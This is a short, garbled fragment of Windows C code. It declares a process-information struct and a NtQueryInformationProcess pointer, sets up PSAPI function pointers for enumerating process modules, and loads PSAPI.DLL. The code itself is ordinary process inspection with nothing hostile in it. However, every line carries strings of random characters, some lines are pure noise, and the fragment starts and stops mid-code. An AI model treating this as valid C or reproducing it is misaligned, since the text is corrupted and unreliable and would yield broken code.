ULONG UniqueProcessId; `xIh\q
ULONG InheritedFromUniqueProcessId; tW(+xu36
} PROCESS_BASIC_INFORMATION; )eq}MaW+j
H&K3"Ulw
PROCNTQSIP NtQueryInformationProcess; !tBeuemN%
r<|nwFJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NjP ]My
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :o$@F-$k
t'aSF{%
HANDLE hProcess; "kr,x3
=
PROCESS_BASIC_INFORMATION pbi; w_3xKnMT\
g ;LVECk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )!a$#"'
if(NULL == hInst ) return 0; ^aptLJF
D 'n7&